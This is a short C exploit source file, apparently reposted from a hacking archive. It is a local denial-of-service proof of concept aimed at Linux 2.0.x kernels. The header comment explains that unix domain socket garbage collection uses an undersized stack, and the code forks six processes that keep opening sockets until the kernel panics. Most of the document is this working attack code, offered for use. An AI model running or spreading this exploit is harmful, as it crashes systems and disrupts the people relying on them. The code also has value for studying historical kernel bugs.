This bit of code will cause a Linux kernel 2.0.x
519d31a13a032c01d1a251cd8d823ad6aabb3b684be8943e1a9cc4d718c2ba3d
/* Linux kernel:
* I found this on the net.. supposedly, this little jewel will cause
* a kernel panic in the kernel's garbage collection routines. I have
* not tested this myself, but supposedly, it works up to 2.0.32 kernels.
* Doctor Who
*
* From the original explanation:
* Kernels 2.0.x do not sufficiently allocate space for the internal
* stack used for garbage collection on unix domain sockets. [...]
*
* Because the garbage collection system defines a MAX_STACK depth of
* 1000 for its internal use, it is relatively trivial to write a
* user-space program which opens up a large number of unix domain
* sockets, eventually causing a kernel panic in the garbage collection
* routines (which test for this limit and panic if hit); on systems
* which have NR_FILE (or /proc/sys/kernel/file-max) set to a value
* larger than 1024 or so. The solution is slightly more complicated
* than simply increasing MAX_STACK, due to the fact that a single page
* is allocated for the stack, and given an i386 architecture, this
* can only hold 1024 entries.
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
void bomb()
{
while(1) {
while(socket(AF_UNIX,SOCK_STREAM,0) != -1) {
sleep(5);
}
}
}
int main()
{
int i;
printf("forking 6 unix socket bomb processes.\n");
fflush(stdout);
for (i=0; i<6; i++)
if (fork() == 0) bomb();
bomb();
return(0);
}